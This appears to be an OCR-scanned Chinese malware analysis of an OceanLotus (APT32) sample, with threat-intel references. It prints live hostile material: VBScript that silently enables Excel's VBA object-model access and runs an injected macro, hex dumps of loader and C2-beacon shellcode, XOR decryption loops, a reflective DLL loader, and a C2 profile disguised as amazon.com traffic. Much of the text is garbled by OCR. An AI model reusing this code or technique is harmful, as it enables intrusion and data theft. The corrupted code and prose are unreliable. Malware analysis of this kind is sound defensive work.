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<ML version="1.0"2>
|<zcriptlet>
|[<gcript language="VBScript">

<! [CDRTA[
dTEMgCaWeRlUVLC=Array (102,80, 65,21, 90,87, 95,112,77,8¢6,80,8%,21,48,21,118,71,180, 84,
65,89,92,86,084,65,92,90,91,23,28,63,50,87,55,112,77,86¢,80,8%,27,9%,9%2,70,9%2,87,8%
102,93,80,89,89,21,8,21,118,71,80,84,65,80,122,87,55,80,86,65,25,23,98,70,86,71, 9.
%0,%1,21,103,80,82,112,77,5%2,70,65,70,29,71,80,82,126,80,76,28,63,60,50,91,21,80,°
70,%3,102,93,80,8%,8%9,27,103,80,82,103,80,84,81,21,71,80,82,126,80,76,63,60,103,8
87,80,71,21,8,21,5,28,63,80,91,81,21,83,64,91,86,65,5%2,90,51,63,63,18,21,114, 80, &!
122,120,21,67,84,89,64,80,63,103,80,82,101,84,65,93,21,8,21,23,125,12¢,112,108,10

AT CC Fr NA T4 AM ANE MAan A e T4 A A fA 0T FE AAC AAaa NA Na fAa As A 4nc A

LRI, SR SCIATAE 3 BURES, 035 H T 0x35, 0x39, 0x35 1 04 S Bl 3 (1)

B U R AT o X BACIEHT & T — ™ Excel X%, HE T iEMFE+ AccessVBOM
HAE, 8 AT DAY 22 3047 8 F AT

1 Set objExcel = CreateObject("Excel.Application™)
2 objeExcel.visible = False

3

4 set Wshshell = CreateObject("Wscript.shell™)
5

6 function RegExists(regkey)

7 on error resume next

8 Wshshell.RegRead regkey

9 RegExists = (Err.number = @)

16 end function

11

12 RegPath = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & objExcel.Version & "\Excel\Security\AccessVBOM"
13
14 if RegExists(RegPath) then

15 action = WshShell.RegRead(RegPath)
16 else

17 action = ""

18 end if

19

20 Wshshell.RegWrite RegPath, 1, "REG_DWORD"

21

22 Set objWorkbook = objExcel.workbooks.Add()

23 Set xlmodule = objworkbook.vBProject.vBComponents.Add(1)

BBV AZ Excel A RIVENRIS, ZBEZAAEE T —EMRE, HEH T ox78
SREENZE P RS FH{# ] CreateProcess KA rundli32, 2RJ5¥—E shellcode 73
ANBNZHEFEF, Jff @il CreateRemoteThread HN#L 1% EL shellcode.

shellcode [ RTF-5B4 & base64 fRIDFEFF, JoF-il4r & base64 i .

SRR shellcode WAL K s .

00000000 | 00 01 02 03 04 05 06 07 08 09 0a Ob 0Oc 0d Oe 0F

00000000 | [EB]3a 31d2 8030 2b75 04b2 3eeb 2680 3b2f B 1& ;+u.? ? €;/ ame— loader shellcode
00000010 | 75 04 b2 3f eb 1d 80 3b 39 77 07 8a 13 80 ea fc U.? ? €;9w.? €
00000020 | eb 11 80 3b 5a 77 07 8a 13 80 ea 41 eb 05 8a 13 ? €;ZIw.? €@ ? ?
00000030 | 80 ea 47 c1 e0 06 08 d0 43 c3 eb 05 e8 fo ff ff €7 # . .= % . #

00000040 | f 5b 31 c9 80 cl 36 01 cb 89 d9 31 c0 80 3b 3d [1%? .& 7 % ;=
00000050 | 74 25 e8 ab ff ff ff e8 a6 ff ff ff e8al ff ff  t¥% = =

00000060 | ff e8 9c ff ff ff 86 c4 ¢l cO 10 86 c4 cl c8 08 = e B OE .
00000070 | 89 01 83 c1 03 eb d4 2f 4f 69 4a 41 41 41 41 59 ? 2 .m[J0iTAAAAY
00000080 | 49 Ge 6c 4d 64 4a 6b 60 31 40 77 60 31 49 4d 69 In]MdJkilIquMf\
00000090 | 31 49 55 69 33 49 6f 44 37 64 4b 4a 6a 48 2f 4d 1IUi3T0D7dKIJH/M
000000a0 | 63 43 73 50 47 46 38 41 69 77 67 77 63 38 4e 41  cCSPGFBAiIwWOWCSBNA
000000b0 | 63 66 69 38 45 4a 58 69 3149 5160 3049 3841  cfi8FIXi1IQi0I8A
000000cO | 64 43 4c 51 48 69 46 77 48 52 4b 41 64 42 51 69 dCLQHIFWHRKAdBQ1
000000d0 | 30 67 50 60 31 67 67 41 64 50 Ga 50 45 6d 4c de 0gYilggAdPjPERLN
000000e0 | 49 73 42 31 6a 48 2f 4d 63 43 73 77 63 38 4e 41  IsBLjH/McCswcBNA
0000000 | &3 63 34 34 48 58 30 41 33 33 34 4F 33 30 6b 64 cc44HX0A334030kd
nnnnnnnn - el ol Bl el el e P P e

shellcode FJRT 0x76 N7 /& — loader, 1 H&XT 5 T H B AT RIS I 04k . %%
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00000000 | 0001 02 03 04 05 06 OF 0B 09 0a Ob 0Oc Od 0Oe OF

00000000 eS 89 00 00 00 B0 89 e5 31 d2 64 8b 52 30 8b ... % 1% & 08
00000010 | 52 Oc 8b 52 14 8b 72 28 0Of b7 4a 26 31 ff 31 c0 -~ (. &1 14
00000020 | ac 3c 61 7c¢ 02 2c 20 ¢l «cf Od 01 c7 e2 fO 52 57 <al . #Ho..5 & W
00000030 | 8b 52 10 8b 42 3c 01 d0 8b 40 78 85 «c0 74 4a 01 b= | W ooxE ).
00000040 | d0O 50 8b 48 18 8b 58 20 01 d3 e3 3c 49 8b 34 8b % 5 . B <I? 7
00000050 | 01 d6 31 ff 31 c0 ac cl «cf Od 01 c7 38 eD 75 4 ? 1 B ..7? @7
00000060 | 03 7d 8 3b 7d 24 75 e2 58 8b 58 24 01 d3 66 &b 1? 13ufE & 5.8 7
00000070 | Oc 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 24 K# ..5 .? # DS§S
00000080 | Sb 5b 61 59 5a 51 ff e0 58 5F 5a 8 12 eb 86 5d [[aYZ BE _Z7 = ]
00000090 | 68 6e 65 74 00 68 77 69 6e 69 54 68 4c 77 26 07 hnet winiThLw&.
000000a0 | ff d5 e8 80 00 00 00 4d of 7a 69 6c 6c 61 2f 35 B E€...Mozilla/s5s
000000b0 | 2e 30 20 28 57 69 6e 64 of 77 73 20 4de 54 20 36 . 0 (\1‘ ndows NT 6
000000c0 | 2e 31 3b 20 57 4f 57 36 34 3b 20 54 72 69 64 65 -1 W h' 6 4 Tride
000000d0 | 6e 74 2T 37 2e 30 3b 20 72 76 3a 31 31 2e 30 29 nt/7. :11.0)
000000e0 | 20 6c 69 6b 65 20 47 65 63 6b &f 00 58 58 58 58 Tike G ec ko . XXXX
000000f0 | 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXAXXXXXXXXKXXX
00000100 | 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 5B XXX AXAXXXXXXXXNXXX
00000110 | 58 58 58 58 58 58 58 58 58 58 58 58 58 38 58 58 XXX AXAXXXXXXXXNXXX
00000120 | 58 58 58 58 58 58 00 59 31 ff 57 57 57 57 51 68 XXXXXX.Y1 WWWWQh
00000130 | 3a 56 79 a7 ff d5 e9 93 00 00 00 5b 31 c9 5151 Vy? B 7 [1E @
00000140 | 6a 03 51 51 68 bb 01 00 00 53 50 68 57 B9 9f cb j.QQh? ..SPhWi ?
00000150 | ff d5 89 c3 eb 7a 59 31 d2 52 68 00 32 a0 84 52 = OEzYls#=E h.24ER
00000160 | 52 52 51 52 50 68 eb 55 2e 3b ff d5 89 c6 68 80 RRQRPhHE ; B OE €
00000170 | 33 00 00 89 e0 6a 04 50 6a 1f 56 68 75 46 9e 86 3..8 j.Pj.VhuF#
00000180 | ff d5 31 ff 57 57 57 57 56 68 2d 06 18 7b ff d5 ? WWWWVh-..{ &
00000190 | 85 cO 74 48 31 ff 85 f6 74 04 89 f9 eb 09 68 aa # H1 ® t.3F ? h
000001a0 | c5 e2 5d ff d5 89 cl 68 45 21 5e 31 ff d5 31 ff # == = E!ALl 7
000001b0 | 57 6a 07 51 56 50 68 b7 57 eQ Ob ff d5 bf 00 2f Wij.QVPhE ? # ./
000001cC | 00 00 39 c7 75 04 89 d8 eb 8a 31 ff eb 15 eb 49 L9 E o EE L O? OB

XX shellcode £ %E4% C&C RS 2%, T H A —EX shellcode N &I HIEINEL .
B = BACLUI R AR o 1IX BRI A T 1% Excel B Auto_Open BREL, H5< 1] Excel Xt 4,
PR R ] AccessVBOM FEX o

1 objexcel.DisplayAlerts = False

2 on error resume next

3 objExcel.Run "Auto Open"

4  objuworkbook.Close False

5 objExcel.Quit

6

7 ' Restore the registry to its old state
8 if action = "" then

9 WshsShell.RegDelete RegPath
1@ else
11 Wshshell.Reghrite RegPath, action, "REG_DWORD"
12 end if

TS
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seqB00:00000000 FC
SeqgBee:00000001 EB
segBee: EB
segB00:00000008
seqB00:00000008
SeqgBee:00000008
segBe:00000008
segBe:00000008
segBBO:00000008 5F
seqB00:00000009 BB
SeqgBe0:0000000B 83
segB0O:0000000E 8B
segBBO:00000010 31
seqB00:00000012 83
seqgB00:00000015 57
SeqgBee:00000016
segB00:00000016
segBBO:00000016 8B
seqB00:00000018 31
SegBee:0000001A B89
segBBe:0000001C 31
segB0O:0000001E 83
segBB0:00000021 83
seqB00:00000024 31
SegBee:00000026 39
segBBO:00000028 74
segBBO:0000002A EB
seqB00:0000002C
seqB00:0000002C
SeqgBee:0000002C
segBBe:0000002C S5E
segBB0:0000002D FF
seqB00:0000002D
SeqgBee:00000020
segB00:0000002F
segB00:0000002F
segB00:0000002F
— seqB00:0000002F EB
H:l

00 @O 0O OO

27

37
C7 o4

F3
C7 o4

17
F2

D6
C7 o4

D2
D3

02
EA

EG

D4 FF FF

88 91 6O
96 92 6O

FF

decrypt:

======= S UBROUTTINE

cld
call §+5
jmp short loc_2F

proc near ; CODE XREF: seg0@0:lec_2Fip
pop edi
mov es1, [edi] ; iWiEox34
add edi, 4
mov ebx, [ed1]
xor ebx, esi ; ebx = Ox31E0D FHEDKE
add edi, 4
push ed1
; CODE XREF: sub_8+224)
mov edx, [edi] ; IREIEE
xor edx, esi o HATRESEAE
mov [ed1], edx ; SEE
xor es1, edx i THTRRFMEH
add ed1, 4
sub ebx, 4
xor edx, edx
cmp ebx, edx
jz short execute
jmp short decrypt
; CODE XREF: sub_8+201]
pop esl

dd 6691885Eh
dd 6092965Eh

fift % JE 43 B A DLL 3CHF, IR S R R A Oy 17f2d8.dil, S H R EH N

_ReflectiveLoader@4 .
pFile Raw Data Value
pEE20932 31 37 66 32 64 38 2E 64 6C 6C 00 5F 52 65 66 6C 17f2d8.d11. Refl
DoE20942 65 63 74 69 76 65 4AC 6F 61 64 65 72 40 34 00 ectiveloader@d.

£ DlIMain PRELI Tk, 25%F 0x10030028 4b A /)N Ky 0x1000 34T S 5L 0x69 fif % .

.text:10008EC3
.text:10008ECA
.text:10008ECE
= |.text:10088EDB
.text:10008ED2
.text:10008ED7
.text:10008EDC
.text:10008EEQ
.text:10008EES
.text:10008EEG
.text:10008EEE ;

i=-=-y

.text:10008EC3 decrypt:

; CODE XREF: sub_18008E99+37:3
byte_10030028[eax], 65h ; 150x100300288MIEIES0x60FH
2ax
eax, 1008h ; HiEA A0x1000
short decrypt
1000h
ecx, offset byte 10030028
eax, [esp+24h+var_18]
sub_106006D33
ecx
loc_10008F75

TEfR G AR, AT LUK ILZ)E [T IRDER C&C R4 :
https://*** *** net,/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books

00000140

00000150 | 70 2e Ge 65
00000160 | 73 62 5f 6e
00000170 | 39 34 38 38
00000180 | 65 6c 64 2d
00000190 | 6b 73 00 00

74 2c
6f 73
38 2
6b 65
00 00

2f 73
73 5f
30 32
79 77
00 00

2f 72
31 2f
36 32
6f 72
00 00

65 66 3d be 62 5F p.net,/s/ref=nb_
31 36 37 2d 33 32 sb_noss_1/167-32
39 34 39 2f 66 69 94888-0262949/fi
64 73 3d 62 6&f 6fF eld-keywords=boo
00 00 00 00 00 0O KS o v v it e e e e e e

FAh, SREAWTETE R PG ChIEN amazon.com, A% i HUHE dn 15 IS B TE

Cookies F-Et .



00000240 | 00 09 00 03 00 80 4d 6f 7a 69 6c 6c 6L 2f 3526 ... .. €Mozil
00000250 | 30 20 28 57 69 6e 64 6 77 73 20 4e 54 20 36 2e 0
00000260 | 31 3b 20 57 4f 57 36 34 3b 20 54 72 69 64 65 6e 1
00000270 | 74 2f 37 2e 30 3b 2072 76 3a 3131 2e 30 29 20 T
00000280 | 6c 69 6b 65 20 47 65 63 6b 6f 00 00 00 00 0O 0O 1
00000290 | 00 00 00 00 00 Q0 00 Q0 QO Q0 Q000 QOO0 00 OO0 . .............
00000220 | 00 00 00 OO 00 00 00O OO 0O 00 00 OO 0000 00 OO . ............. .
000002b0 | 00 00 00 Q0 00 00 OO0 00 00 00 00 00 00 OO 00 OO ... .. .. .vwounn..

000002c0 | 00 00 00 00 00 00 00 Oa 00 03 00 40 2f de 3432 . .......... @/N42
000002d0 | 31 35 2f 61 64 6a 2f 61 6d 7a 6e 2e 7573 2e73 15/adj/amzn.us.s
000002e0 | 72 2e 61 70 73 00 00 0O 0O 0O 0O OO 0O 0O 0O OO r.aps

000002f0 | 00 00 00 00 00 00 OO0 00 00 00 00 00 00 OO 00 OO .. ... .........
00000300 | 00 00 00 00 0C 00 0O 00 0O 00 0C 00 00 Ob 00 03 - -

00000310 | 01 00 00 00 00 04 00 Q0 0O 00 000D QO OO OO OO0 . .............
00000320 | 00 00 00 OO 00 OO OO OO 0O 0O OO OO OO0 0O 0O OO - - .
00000330 | 00 00 00 OO0 00 OO0 00 QO 00 Q0 00 OO0 00 00 0000 ... ......ouunnnn
00000340 | 00 00 00 OO 00 OO 0O OO 0O 0O OO OO OO0 0O 0O OO - - .
00000350 | 00 00 00 OO 00 00 00 00 00 00 00 OO 00 00 00 00 .. ... .. .o nnnn
00000360 | 00 00 00 OO 00 OO OO OO 0O 0O OO OO OO0 00 0O 00 - - .
00000370 | 00 00 00 OO 00 00 00 00 00 00 00 OO 00 OO0 00 00 .. ... .. .o nnnn
00000380 | 00 00 00 OO 00 00 00 OO 0O 00 OO OO0 00 00 00 00 - -

00000390 | 00 00 00 OO 00 00 00O 0O 0000 00 OO 0000 0000 . .............
000003a0 | 00 00 00 00 00 Q0 00 Q0 QO Q0 Q000 QOO0 00 OO0 . .............
000003b0 | 00 00 00 00 00 GO 00 00 00 00 Q0 00 00 00 00 00 . . v v v v e wanon
000003c0 | 00 00 00 00 00 QO 00 Q0 QO Q0 Q000 QOO0 00 OO0 . .............
000003d0 | 00 00 00 00 00 G0 00 00 00 00 Q0 00 00 00 00 00 . . v v v v e wanon
000003e0 | 00 00 00 00 00 QO 00 Q0 Q0 Q0 QOO0 QOO0 00 OO0 . ............. 5
000003f0 | 00 00 00 00 00 00 00 00 00 00 00 OO 0000 00 00 . ..o v v v wmnuaos
00000400 | 00 00 00 OO 00 Q0 00 QO 0O 00 0000 00 O0 00 OO0 . ...........oo..
00000410 | 00 00 00 Oc 00 03 0L 00 00 00 0C Oa 00 00 00 Ob —
00000420 | 41 63 63 65 70 74 3a 20 2a 2f 2a 00 00 00 ODa OO Accept:
00000430 | 00 00 14 48 6f 73 74 3a 20 77 77 77 2e 61 6d 61
00000440 | 7a 6f 6e 2e 63 6f 6d 00 0O 00 07 00 0O 00 0O QO zon.
00000450 | 00 00 03 00 00 00 02 00 0O 00 Qe 73 65 73 73 69 Fa— Fa—
00000460 | 6f 6e 2d 74 o6f 6b 65 6e 3d 00 00 00 02 00 0O 0O on-token=.......

00000470 | Oc 73 6b 69 6e 3d 6e 6f 73 6b 69 6e 3b 00 00 00 skin=noskin; .
00000480 | 01 00 00 00 2c 63 73 6d 2d 68 69 74 3d 73 2d 32 ce..,Cc5m-hit=5-2
00000430 | 34 4b 55 31 31 42 42 38 32 52 5a 53 59 47 4a 33 4KUL1BB82RZSYGI3
00000420 | 42 44 4b 7c 31 34 31 39 38 39 39 30 31 32 39 39 BDK|141989901299
000004b0 | 36 00 00 00 06 00 00 00 06 43 6F 6f 6b 69 65 OO Gooocscooo Cookie.

000004c0 | 00 00 00 0O 00 00 00 00 00 00 00 OO 00 OO 00 00 . . ... ..o nn
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int w3; //

v = len;
switch [ 22 )
{

case 1:

sub_180085634((1int)a3, len, 1); // Bahitig
break;

se 2:

sub_10003B6A(=23);

break;

ca

4 case 3:

15 sub_18893609() ;

16 break;

17 case 4:

8 sub_1000368C(Len);
break;

case 5:

sub_1888361D(1len, a3); // MREFR
break;

case 9:
sub_100054E0(Len, 1); JF IR
break;

case OxA:
sub_10003D1E((1nt)a3, len, "wb"); /7 b
break;

case BxB:
sub_leep4c29(=3, le
break;

case OxC:
sub_leee3g7a(len, a3); /1 hATES
break;

case BxD:
sub_100052D1(1len, a3, 1);
break;

> 009~

n); /1 EREHF
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S eguuY ; BUUuYOLY

seg000: 00000008 sub_8 proc near ; CODE XREF: seg0o@:loc_2Fip
5egdo0: 000000808 5F pop edl

seg0fO: 00000009 8B 37 mov es1, [edi] ; WEox3d
seg000:0000000B 83 C7 04 add edi, 4

segloe:e0eeeeE S8 1F mov ebx, [edi]

52g000:00000010 31 F3 xor ebx, esi ; ebx = 0x31E00 #MiREERE
segodd: 600000812 83 C7 04 add edi, 4

5seq000: 00000015 57 push edi

5eg000: 00000016

segooe ;0000016 € t: ; CODE XREF: sub_8+221]
5eg000:00000016 8B 17 mov edx, [edi] ; ERENEE
seglpe:peRBee1E 31 F2 xor edx, esil ; BITRERE
5£g000:0000001A 89 17 mov [edi], edx ; SE#iE
segf0O:0000001C 31 D6 xor es1, edx : HET AR NEH
5egboe: 0000001 83 C7 04 add edi, 4

5egdo0: 00000021 83 EB 04 sub ebx, 4

5eg0oe: 00000024 31 D2 xor edx, edx

seg0b0: 00000026 39 D3 cmp ebx, edx

5egdon: 000080828 T4 02 1z short t

seq000: 00000024 EB EA jmp short

seqd00: 0000002C

CEEAAR RIS # F shellcode, BN DA E AL B8 H 1) shellcode)

[Seqboo:0peoonns sub_8 proc near

|seqB00: 00000008 SE pop esi
3599000:08900009 8B 1E mov ebx, [esi]
isegB00: 00000008 83 C6 04 add esi, 4
SeqB00:00BBOBOE 8B 2E nov ebp, [esi]
ls5eq806: 00000618 31 DD xor ebp, ebx
[seqB00: 00000012 83 C6 04 add esi, 4
[5egBB0: 00000015 56 push esi

|seq000: 00000016

|segB00: 00000616 loc_16:

[SeqbBo: 00000016 8B 3E nov edi, [esi]
[seq000: 00000018 31 DF Xor edi, ebx
|lseg000: 800800617 89 3E nov [esi], edi
fse9000:0880001c 31 FB xXor ebx, edi
[SeqO00:000BOO1E 83 C6 04 add esi, 4
[5eq000: 00000021 83 ED 04 sub ebp, 4
lseqB800: 00806624 31 FF xor edi, edi
lseq000: 00060026 39 FD cnp ebp, edi
[seqb00: 00000028 74 62 jz short loc_2C
fsegUBB:OBOBSBZR EB EA jmp short loc_16

IR P SCBR T
% 1 shellcode b, AT iR e Bz, SAERAT T3 R = e 4L 23k

H (PRI (2017 MR LERHAMEREY ), TR, SRS EE S
% amazon ] host FHLIEE(S B HIAT AE L —3.

B1BLAECT

TR E

i T

] 85 [GEIEMA SRR E (15)

6} i B AR, EE N key, pid, R, ip HahE, EbLE. PR, BiA




(8) SigsraafEmiun T, wTRARIRIRST SRR 7 SRnE i B .t Host 4L
SRR ARG IS S, FISREGERELE R xT % Hos t BRI .

GET /s/ref=nb_sb_noss_1/167-3294888-8262949/field-keywords=books HTTP/1.1
Host: uw.amazon. com

Accept: */*

Cookie: skin-noskin; ken=1+0t18/XY; 136g/vbLFRBExK1/UxT Je/ohal TtaKquoUPBalGxxd+L+gdESDPIVhulyOryASKZFT
47m0mm¢nnmo(aanTvaanwLsnumynvmnaﬁaNmac»ajasszwnau]bkccnzmun csm-hit=s-24KU11BB82RZSYGI 3E0K | 1419899012996
er 1a/5.0 (Windows NT 6.1; WOW6; Trident/7.8; rv:11.8) like Gec

mTPfl 1 200 0K
Wed, 15 Nov 2617 89:32:14 GMT

88 B EILHLRSIAE (18)

R a] RN, AR B RS E AU, I HAZA RN DR A -
A RBE T OFEA SO 2 N8R I S, HASBUS DA, HURRA T 6E H AR
BT A AT SR AR AL Al o

fRRTT R

1. HAT, JAHEJR VenusEye JEbME i H 0 OO & SCREEN N LR BU BT S B R 25 ]
% | https://venuseye.vip/domain/

\EY) Venustye

IP. . SHEHASH(MDS/SHA/SHA256

et
Oracle America, Inc. -
ns1.dyndns.org;ns3.dyndns.org;nsd.dyndns.org;ns5.dyndns.org;
‘et
| mE 20180801
Tags
FERMEIR
I0CEE
g N Hi
SEFN(524)

el



g A2 =
M HAFlE | = | | Oceanlotus | | APT-C-00 | Sealotus

{Tah&fR | Cobalt Kitty

— ¥%ETE | Unique suite & OTS | | CVE-2017-8570 |

NSl | E | | ammsmEsl | | HERE | | SMAt | | oE | | meR| e | s

31R /v fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
bereason.com/labs-operation-cobalt-kitty-a-large-scale-apt-in-asia-carried-out-by-the-oceanlotus-group/
wwv.scmagazineuk.com/ocean-lotus-groupapt-32-identified-as-vietnamese-apt-group/article/663565/
ghttalk.comy/v
ivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf
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